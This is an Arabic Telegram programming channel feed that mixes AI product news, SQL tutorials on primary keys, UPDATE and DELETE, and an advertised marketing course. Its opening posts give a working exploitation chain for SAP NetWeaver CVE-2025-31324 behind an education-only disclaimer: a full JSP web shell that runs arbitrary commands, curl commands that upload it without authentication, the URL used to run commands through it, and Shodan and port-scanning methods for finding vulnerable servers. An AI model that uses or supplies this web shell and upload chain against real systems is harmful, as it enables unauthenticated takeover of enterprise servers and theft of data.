برمجةوتقنية المعلومات C. P. W
621 subscribers
810 photos
94 videos
303 files
644 links
عالم الحاسوب برمجه وتقنيه وتطوير شرح كل ما يتطلب في مجال علوم الحاسوب والبرمجة
https://t.me/programming_C_w
قنات الجرافيكس @l_d_gh
#Digitalmarketing
#programming
#AI #CPA
#learn
التواصل معي @Eng_sharaf1
Download Telegram
خطوات فنية لاستغلال الثغرة (للدراسة وفهم الآلية فقط)
تحذير: عرض الخطوات لغرض التعليم والوعي فقط، وليس بغرض التطبيق الفعلي أو غير القانوني.

1. تحضير ملف خبيث
الملف قد يكون Web Shell بلغة JSP مثلاً:

text
<% if (request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = p.getInputStream();
int a = -1;
while((a=in.read())!=-1){
out.print((char)a);
}
in.close();
} %>

2. إرسال طلب POST لتحميل الملف
يمكن بأداة مثل curl:

bash
curl -k -X POST \
-F "file=@webshell.jsp" \
https://target-sap-server/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.dev.server.metadatauploader

3. الوصول للملف بعد التحميل
قم بزيارة المسار الذي يُخزن فيه الملف (مثال):

text
https://target-sap-server/irj/go/km/docs/webshell.jsp?cmd=whoami

سيتم تنفيذ الأمر وإرجاع النتيجة في الصفحة، ما يؤكد أن المهاجم أصبح لديه تحكم كامل بالخادم.

#SAPNetWeaver #CVE_2025_31324
Forwarded from Codefajr_كود فجر
ثغرة يوم الصفر CVE-2025-31324 في منصة SAP NetWeaver هي ثغرة حرجة تتيح تنفيذ تعليمات برمجية عن بعد (RCE) دون الحاجة لأي مصادقة، عبر استغلال نقطة ضعف في ميزة تحميل بيانات التعريف (Metadata Uploader) في وحدة Visual Composer.

منصة SAP NetWeaver هي بنية تقنية متكاملة من إنتاج شركة SAP، وتُستخدم كأساس لبناء وتشغيل تطبيقات أعمال المؤسسات. تجمع بين وظائف إدارة قواعد البيانات، تشغيل التطبيقات، تكامل النظم، تطوير الخدمات، وواجهة المستخدم في نظام واحد، وتوفر أدوات لتكامل التطبيقات والمعلومات عبر بيئات وأنظمة مختلفة.

تُعد منصة NetWeaver قلب أنظمة SAP الحديثة، وتتيح:
تشغيل تطبيقات SAP مثل ERP وCRM وBI على سيرفر واحد بكل مرونة.
ربط مختلف التطبيقات والأنظمة الداخلية والخارجية في المؤسسة (Integration).
تطوير ونشر تطبيقات الويب والخدمات الذكية باستخدام Java وABAP.
إدارة عمليات الأعمال والبيانات من خلال بوابات مركزية وتكامل آمن.

باختصار هي منصة تقنية لتشغيل، تطوير، وتكامل تطبيقات الأعمال الكبرى في المؤسسات، وهي أساس منظومة SAP للشركات حول العالم.


#SAPNetWeaver #CVE_2025_3132
Forwarded from Codefajr_كود فجر
يعثر المهاجمون على منصات SAP NetWeaver المتأثرة من خلال عدة أساليب وأدوات تعتمد على المسح الشبكي وجمع المعلومات، وأهمها:

استخدام محركات البحث المخصصة للأجهزة والخدمات (مثل Shodan, Censys):

يبحث المهاجمون باستخدام كلمات مفتاحية (dorks) أو توقيعات معينة تكشف عن وجود واجهات SAP NetWeaver المكشوفة على الإنترنت، مثل البحث عن عنوان صفحة تسجيل الدخول أو لافتات http تشير إلى NetWeaver Application Server.

أمثلة لعمليات البحث:

http.title:"SAP NetWeaver Application Server"


البحث ضمن نطاقات الشركات الكبرى أو عناوين المؤسسات الحكومية.

فحص البورتات الشائعة الخاصة بـ SAP:

منصات SAP NetWeaver غالبًا ما تكون متاحة على منافذ محددة مثل 50000، 50013، 8000، 8080 وغيرها.

يمكن للأدوات مثل nmap إجراء مسح لهذه المنافذ والعثور على الأنظمة المكشوفة.

استخدام أدوات كشف نقاط النهاية وضعف الحماية:

أدوات المسح (scanner) مثل Onapsis، أو حتى أدوات مفتوحة المصدر مثل Metasploit modules، تسجل نقطة نهاية metadatauploader أو صفحة Visual Composer المفتوحة.

تحليل الأدلة من الشهادات أو رؤوس HTTP:

أحيانًا تكشف رؤوس (Headers) http أو حتى الشهادات الرقمية عن إصدار السيرفر وهويته.

المعلومات المسربة أو فهارس الإنترنت:

قد توفر بعض الفهارس أو تسريبات البيانات عناوين أنظمة SAP مكشوفة أو كلمات سر ضعيفة أو افتراضية.

شرح الثغرة بالتفصيل
المكون المتأثر: SAP NetWeaver Application Server Java، وحدة Visual Composer.

طريقة الاستغلال: المشكلة تكمن في غياب التحقق من التفويض (Missing Authorization Check) عند نقطة النهاية /developmentserver/metadatauploader، حيث يسمح للمهاجمين بإرسال طلبات POST تحتوي على ملفات خبيثة (مثل Web Shell أو تطبيقات JAR أو ZIP).

يقوم المهاجم بإرسال طلبات POST لاستغلال ثغرة مثل CVE-2025-31324 عادة عبر أدوات متخصصة تتيح له صياغة وإرسال طلبات HTTP بشكل يدوي أو تلقائي، وأشهر الأدوات المستعملة:

أدوات الهجوم لإرسال طلبات POST
curl

أداة ينتجها نظام لينكس (ومتوفرة لكل الأنظمة)، تتيح إرسال طلبات HTTP/HTTPS حسب الرغبة.

مثال استخدام:

bash
curl -k -X POST -F "file=@webshell.jsp" https://target-sap-server/metadatauploader

يمكن بها تحديد نوع المحتوى، ملف الإرسال، إعداد رؤوس الطلب وكل التفاصيل المطلوبة.

Burp Suite

أداة اختبار اختراق متقدمة، تتيح للمهاجم أو مختبر الأمن إجراء وفحص وتعديل أي طلب HTTP (GET/POST).

يمكن تعديل الطلبات مباشرة عبر واجهة المستخدم أو استخدام أدوات التكرار (Repeater/Intruder) لإرسال عدة طلبات مختلفة وملاحظة الاستجابة.

Postman

تطبيق متكامل لإرسال طلبات HTTP وتطوير واجهات API. يتيح إرسال ملفات، تعديل الحقول والرؤوس، وتحليل الاستجابات.

يستخدم غالبًا في الاختبار اليدوي لرؤية الاستجابة وتكرار الطلبات.

أدوات برمجية أو سكربتات بلغة Python/JavaScript

المهاجم المتقدم قد يكتب سكربت مخصص باستخدام مكتبات مثل requests (Python) أو axios (JavaScript) لإرسال طلبات POST تلقائية حسب سيناريو الهجوم.

مثال عملي باستخدام curl:

bash
curl -k -X POST -F "file=@webshell.jsp" https://target-sap-server/metadatauploader

هكذا يرسل المهاجم ملف خبيث إلى مسار نقطة النهاية في SAP NetWeaver، ويفحص استجابة الخادم للتأكد من نجاح الهجوم.

ما يحدث عند الاستغلال: النظام يقبل تحميل الملف دون أن يتحقق من صلاحية المستخدم أو يفحص الملف بشكل آمن، ما يؤدي إلى إمكانية تنفيذ كود برمجي ضار وتحكم كامل بالخادم (RCE) عن بُعد.

درجة الخطورة: CVSS 10/10 (حرج جدًا)، حيث يمكن للمهاجمين التحكم الكامل بالنظام وسرقة بيانات حساسة، أو تعطيل أنظمة الأعمال الحرجة.

تأثير الثغرة وأهداف الهجوم
انتشار واسع: هناك أكثر من 1200 نظام SAP NetWeaver مكشوف للإنترنت حول العالم معرض للخطر.

أمثلة الاستغلال:

تحميل Web Shell خبيث إلى المجلد j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/ ومن ثم الوصول اليه وتنفيذ أوامر عبر GET.

سرقة بيانات العملاء الحساسة أو المالية، تعطيل الأنشطة التجارية، الحركة الجانبية داخل الشبكة واختراق أنظمة أخرى.

سير العملية:

المهاجم يحضّر ملفًا خبيثًا (مثلاً: Web Shell، ملف JAR أو ZIP مدمج بكود ضار).

يرسل هذا الملف كجزء من طلب HTTP POST إلى مسار مثل:

/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.dev.server.metadatauploader


خادم SAP NetWeaver، بسبب خطأ غياب التحقق، يقبل الملف ويقوم بتخزينه وتشغيله كجزء من نظامه.

المهاجم يتبع ذلك بطلب HTTP GET إلى ملف الـ Web Shell (أو ينفذ ملف جافا أو أكواد أخرى)، ليبدأ التحكم الكامل بالنظام.

يمكن الآن للمهاجم تنفيذ أي تعليمات، سرقة بيانات، أو التحرك داخل الشبكة.
🤖شركة Anthropic فتحت Skills للعامة — وده خطوة جديدة نحو توحيد معايير الـ Agentic AI

يوم 18 ديسمبر، شركة Anthropic نشرت مواصفة Agent Skills كـ ستاندرد مفتوح،
وده تكرار لنفس الاستراتيجية اللي قبل كده خلت Model Context Protocol (MCP) يبقى ستاندرد شبه رسمي في الصناعة.

🔻 يعني إيه Skills؟
هي عبارة عن مجلدات فيها:

تعليمات

سكربتات

وموارد مختلفة

الـ AI agents بيحمّلوها ديناميكي عشان ينفذوا مهام متخصصة.

ببساطة:
بدل ما كل مرة تكتب prompt معقد وطويل،
بتعمل skill مرة واحدة،
والـ agent هيستخدمه تلقائي لما السياق يحتاج كده.

🔻 الفكرة هنا إنك بتغلف الخبرة
Expert knowledge
في وحدات قابلة لإعادة الاستخدام (Reusable Modules).

🔻 المبدأ الأساسي في التصميم اسمه: Progressive Disclosure

يعني إيه؟

أول ما الـ agent يبدأ، بيحط في الـ context بس الميتاداتا بتاعة كل skill
(كام توكن صغيرين)

المحتوى الكامل للـ skill بيتحمّل بس لما المهمة فعلًا تحتاجه

وده يسمح إنك تبني مكتبات skills ضخمة
من غير ما تستهلك ذاكرة الموديل أو تبوّظه.
☝️ مايكروسوفت سبق وطبّقت Agent Skills
في:

VS Code

GitHub

وكمان ستاندرد الـ Skills اتدعّم من:

Cursor

Goose

Amp

OpenCode

Letta

وحتى OpenAI استخدمت نفس الفورمات
في:

Codex CLI

ChatGPT

ومن الشركات اللي بتبني Skills للكatalog:

Atlassian

Figma

Canva

Stripe

Notion

Zapier

☝️ تقنيًا، إنشاء Skill سهل جدًا
كل اللي محتاجه:

فولدر

ملف اسمه SKILL.md

جواه:

Metadata بصيغة YAML (زي name و description)

وتعليمات مكتوبة بـ Markdown
Forwarded from Codefajr_كود فجر
#حصريا
💥The New 2025 Laser Targeting Workshop لمدرب احمد صبحي👑

ℹ️اتخلص من هدر الميزانية، واستهدف الجمهور المثالي لمنتجك/خدمتك هتعرف إزاي الـ Algorithms الخاصة بالإعلانات بتشتغل وإيه التحديثات اللي حصلت عليها غيرت تماماً من قواعد الاستهداف.. وبناء عليه إيه هي القواعد والـ Tactics الجديدة اللي هتساعدك تستهف أي شريحة جمهور مهما كان منتجك مخصص⚡️

⭐️الحجم: 2.5GB
⭐️الجودة: 1080P
Forwarded from Codefajr_كود فجر
Media is too big
VIEW IN TELEGRAM
The New Laser Targeting
Forwarded from Codefajr_كود فجر
🖼️ أعلنت OpenAI رسمياً عن نموذج ChatGPT Images لتوليد الصور، مع قفزة نوعية في الأداء والدقة.

⚙️ أبرز التحسينات
•استجابة أدق للتعليمات
•تحرير أكثر دقة
•الحفاظ على التفاصيل
•أسرع بـ 4x مقارنة بالسابق

🚀 الإتاحة
الميزة متاحة ابتداءً من اليوم داخل ChatGPT لجميع المستخدمين، وكذلك عبر API تحت اسم GPT Image 1.5.

🎯 تحكم أعلى بالنتائج
النموذج الجديد يلتزم بنيّتك بشكل أوثق، ويغيّر فقط ما تطلبه تحديدًا، مع الحفاظ على الإضاءة، والتكوين، ومظهر الأشخاص ثابتًا عبر المدخلات والمخرجات والتحريرات اللاحقة.

🧩 تحرير متقدم
يتفوّق في أنماط تحرير متعددة، تشمل: الإضافة، والحذف، والدمج، والمزج، والنقل (Transposing).

🧭 واجهة جديدة للصور
أطلقت OpenAI أيضًا قسم Images داخل ChatGPT. ما عليك سوى النقر على “Images” في الشريط الجانبي والانطلاق.

⬆️ تحديث التطبيق
لا تنسَ تحديث التطبيق للاستفادة من كل الجديد.
Forwarded from Codefajr_كود فجر
📌(المفتاح الأساسي) Primary Key

هو العمود الذي يميّز كل سجل داخل الجدول بشكل فريد.
🔹 لا يتكرر
🔹 لا يقبل NULL
🔹 يُستخدم في الفهارس والعلاقات بين الجداول

له عدة أنواع اختيار النوع يؤثر على الأداء، التوسع، وحتى طريقة عمل التطبيق.


1️⃣ `INT` (رقم متسلسل)
رقم يزيد تلقائيًا مع كل سجل جديد.
id INT IDENTITY(1,1) PRIMARY KEY

مناسب لـ:
✔️ التطبيقات البسيطة
✔️ أنظمة CRUD التقليدية

المميزات:
✅ أسرع خيار
✅ حجم صغير
✅ فهارس فعّالة

العيوب:
❌ غير مناسب للأنظمة الموزعة
❌ لا يعمل جيدًا مع العمل دون اتصال (Offline)

2️⃣ UUID / GUID
معرّف فريد عالميًا، يتم توليده دون الرجوع لقاعدة البيانات.

🔹 في SQL Server يقابله:
NEWID()


لماذا يُستخدم؟
✔️ الأنظمة الموزعة
✔️الـ Microservices
✔️ التطبيقات التي تعمل Offline ثم تتم المزامنة لاحقًا

👉 كل جهاز يستطيع توليد ID خاص به بدون تعارض.

الفوائد:
✅ فريد عالميًا 🌍
✅ لا يحتاج اتصال مباشر بقاعدة البيانات
✅ ممتاز للمزامنة بين عدة مصادر

⚠️ مشكلة UUID في معظم قواعد البيانات

رغم فوائده، UUID يسبب مشكلة في أغلب قواعد البيانات مثل: SQL Server MySQL

السبب المبسّط:
*عشوائية UUID
* يتم إدخاله في أماكن عشوائية داخل الفهرس (Index) لأن قاعدة البيانات تقوم بترتيب المفتاح الأساسي مما يسبب بطأ في إدخال الصفوف
ما عدا PostgreSQL لها نظام مختلف يمكنها من التعامل مع المفتاح الأساسي دون ترتيب بكفاءة


*هذه الأمور يؤدي إلى:

❌الـ Fragmentation
هي حالة يحدث فيها تبعثر للبيانات داخل القرص أو الفهرس بدل أن تكون مرتبة ومتجاورة، مما يؤدي إلى بطء الأداء مع الوقت.

❌ بطء في INSERT
❌ استهلاك أكبر للذاكرة

🐘 استثناء مهم: PostgreSQL مُصمم للتعامل بكفاءة مع UUID
والسبب:
* إدارة ذكية للفهارس
* تقليل عمليات إعادة ترتيب الصفحات
* أداء مستقر حتى مع ملايين السجلات

👈 لذلك:UUID في PostgreSQL خيار آمن وشائع الاستخدام.

3️⃣ NEWSEQUENTIALID() (حل SQL Server)
نسخة مُحسّنة من GUID تم تطويرها في SQL Server لحل مشكلة UUID العشوائي.
id UNIQUEIDENTIFIER 
DEFAULT NEWSEQUENTIALID()
PRIMARY KEY


كيف يحل المشكلة؟
🔹 يولد GUID بشكل متسلسل زمنيًا
🔹 يقلل الإدخال العشوائي في الفهارس
🔹 يحافظ على ميزة التفرد العالمي

النتيجة:
✅ أداء أفضل
✅الـ Fragmentation أقل
✅ مناسب للجداول الكبيرة

🧠 الخلاصة

🔹 INT → بسيط وسريع
🔹 UUID → توزيع + Offline + مزامنة
🔹 NEWSEQUENTIALID() → حل SQL Server لمشكلة UUID

📌 المشكلة ليست في UUID…
بل في طريقة تعامل قاعدة البيانات معه.


#من_فكرة_إلى_تطبيق #SQL #قواعد_البيانات #تطوير_تطبيقات #Database #برمجة
Forwarded from Codefajr_كود فجر
📌 تعليمة UPDATE – دليل عملي كامل بالأكواد

تعليمة UPDATE من أخطر وأهم تعليمات SQL ⚠️
سطر واحد قد يحدّث صفًا واحدًا… أو يغيّر كل بيانات الجدول!
في هذا المقال ستجد شرحًا واضحًا + أمثلة عملية جاهزة 💡

🔄 ما وظيفة UPDATE؟
تُستخدم لتحديث وتعديل البيانات الموجودة داخل جداول قاعدة البيانات.

🧱 البنية الأساسية
UPDATE table_name
SET column = new_value
WHERE condition;


🎯 الأجزاء الرئيسية

🔹 1. UPDATE – تحديد الجدول
UPDATE employees;
UPDATE products;
UPDATE orders;


🔹 2. SET – تحديد التعديلات
-- تحديث عمود واحد
SET salary = 5000;

-- تحديث عدة أعمدة
SET price = 100,
stock = stock - 1;

-- تحديث قيمة نصية
SET status = 'active';


🔹 3. WHERE – تحديد الصفوف (الأهم!)
-- صف محدد
WHERE id = 101;

-- مجموعة صفوف
WHERE department = 'IT';

-- شرط تاريخ
WHERE created_at < '2023-01-01';



⚠️ تحذير خطير
-- ❌ خطأ: سيعدل كل الصفوف!
UPDATE products SET price = 10;

-- ✅ صحيح: تحديث محدد فقط
UPDATE products
SET price = 10
WHERE category = 'sale';


📊 أنواع القيم داخل SET

🔸 قيم ثابتة
SET price = 99.99;
SET name = 'أحمد';
SET active = TRUE;


🔸 قيم تعتمد على القيم الحالية
SET quantity = quantity - 1;   -- تخفيض المخزون
SET salary = salary * 1.10; -- زيادة 10%
SET visits = visits + 1; -- زيادة عداد


🔸 قيم ناتجة عن عمليات حسابية
SET total = price * quantity;
SET age = YEAR(CURRENT_DATE) - YEAR(birth_date);


💡 نصائح عملية

🗄 1. إنشاء نسخة احتياطية
CREATE TABLE employees_backup AS
SELECT * FROM employees;


🧪 2. الاختبار قبل التنفيذ
SELECT *
FROM employees
WHERE department = 'IT';

UPDATE employees
SET salary = salary * 1.05
WHERE department = 'IT';


🔁 3. استخدام المعاملات (Transactions)
BEGIN TRANSACTION;

UPDATE accounts
SET balance = balance - 100
WHERE id = 1;

UPDATE accounts
SET balance = balance + 100
WHERE id = 2;

COMMIT;


🚨 أخطاء شائعة

❌ نسيان WHERE
UPDATE users SET status = 'inactive'; -- خطأ

UPDATE users
SET status = 'inactive'
WHERE last_login < '2023-01-01'; -- صحيح


❌ تحديث المفتاح الرئيسي
UPDATE products
SET id = 100
WHERE id = 99;


📝 أفضل الممارسات
✅ استخدم WHERE دائماً
✅ اختبر بـ SELECT قبل UPDATE
✅ خذ نسخة احتياطية من البيانات المهمة
✅ استخدم Transactions للتحديثات الحساسة


📈 مثال متكامل
UPDATE employees
SET
salary = salary * 1.15,
last_raise_date = CURRENT_DATE,
modified_at = NOW()
WHERE
department = 'Sales'
AND hire_date < '2022-01-01'
AND performance_rating >= 8;


🔐 الخلاصة
تعليمة UPDATE قوية جداً…
📛 سطر واحد بدون WHERE = كارثة محتملة!

#من_فكرة_إلى_تطبيق #SQL #قواعد_البيانات #تطوير_تطبيقات #Database #برمجة
Forwarded from Codefajr_كود فجر
Forwarded from Codefajr_كود فجر
🗑 حذف الصفوف من قاعدة البيانات (DELETE)

⚠️ انتبه… لا يمكنك التراجع!

حذف البيانات من قاعدة البيانات عملية خطيرة وحساسة، وخطأ بسيط قد يؤدي إلى فقدان بيانات لا يمكن استعادتها.
لذلك، فهم أوامر الحذف واستخدامها بالشكل الصحيح أمر أساسي لأي مطوّر 💻

📝 البنية الأساسية لأمر DELETE
DELETE FROM table_name
WHERE condition; -- ⭐️ شرط ضروري

بدون شرط WHERE سيتم حذف جميع الصفوف من الجدول!


⚡️ ثلاث طرق للحذف في SQL


1️⃣ DELETE — حذف صفوف محددة
DELETE FROM users WHERE id = 5;

✔️ الأكثر استخدامًا
✔️ يمكن التحكم بما يتم حذفه

2️⃣ TRUNCATE — حذف جميع الصفوف (أسرع)
TRUNCATE TABLE users;

⚠️ لا يمكن استخدام WHERE
⚡️ أسرع من DELETE
❌ لا يمكن التراجع عنه

3️⃣ DROP — حذف الجدول بالكامل
DROP TABLE users;

🚨 أخطرهم جميعًا
🗑 يحذف البيانات + بنية الجدول

🚨 تحذير كبير (انتبه جيدًا!)
-- ❌ خطير: يحذف كل الصفوف!
DELETE FROM users;

-- ✅ آمن: يحذف صفًا محددًا فقط
DELETE FROM users WHERE id = 5;


🔴 سطر واحد خاطئ قد يمسح قاعدة البيانات بالكامل!

💡 نصائح ذهبية قبل الحذف

✅ اختبر أولًا
SELECT * FROM users WHERE id = 5;


✅ استخدم WHERE دائمًا (إلا إذا كنت متأكدًا 100%)
✅ خذ نسخة احتياطية قبل أي حذف جماعي
✅ استخدم LIMIT مع الجداول الكبيرة
DELETE FROM logs LIMIT 1000;



🔄 مثال عملي

🧹 حذف المستخدمين غير النشطين:
DELETE FROM users
WHERE last_login < '2023-01-01'
AND status = 'inactive';

✔️ حذف ذكي
✔️ آمن
✔️ يعتمد على شروط واضحة

⚡️ حقائق مختصرة

🔸 الحذف دائم
🔸 بدون WHERE = كارثة 😱
🔸 الحذف التدريجي أفضل للبيانات الكبيرة
🔸 النسخة الاحتياطية = طوق النجاة 🛟

#من_فكرة_إلى_تطبيق #SQL #قواعد_البيانات #تطوير_تطبيقات #Database #برمجة
Forwarded from Codefajr_كود فجر
Forwarded from Codefajr_كود فجر
This media is not supported in the widget
VIEW IN TELEGRAM
😳 تخيل تسمع صوت ضحكة الذكاء الاصطناعي… !!
مش “هاهاها” روبوتية، لا
ضحكة حقيقية فيها نفس وتفاعل وصدى 👂🔥

🚀 شركة Cartesia أعلنت عن الجيل الجديد من الأصوات الذكية ، هذا التحديث أقرب صوت بشري وصل له الذكاء الاصطناعي حتى الآن 🎙

✨ المميزات :
🗣 يتحدث 42 لغة بصوت واحد طبيعي.
⚡️ سرعة استجابة أقل من 100 ملي ثانية.
😂 يضحك ويتنفس ويتفاعل زي البشر بالضبط.

تقدر من خلاله تبني :
بودكاست، مساعد صوتي، أو خدمة عملاء…
بصوت واقعي يخلي المستمع ينسى إنه آلي تماماً🤖❤️

رابط الموقع : https://cartesia.ai
برمجةوتقنية المعلومات C. P. W pinned «😳 تخيل تسمع صوت ضحكة الذكاء الاصطناعي… !! مش “هاهاها” روبوتية، لا ضحكة حقيقية فيها نفس وتفاعل وصدى 👂🔥 🚀 شركة Cartesia أعلنت عن الجيل الجديد من الأصوات الذكية ، هذا التحديث أقرب صوت بشري وصل له الذكاء الاصطناعي حتى الآن 🎙 ✨ المميزات : 🗣 يتحدث 42 لغة بصوت…»
"ما أثقلَ الدُّنيا
ومَا أَوْهَنَ الإنسان!."
👌3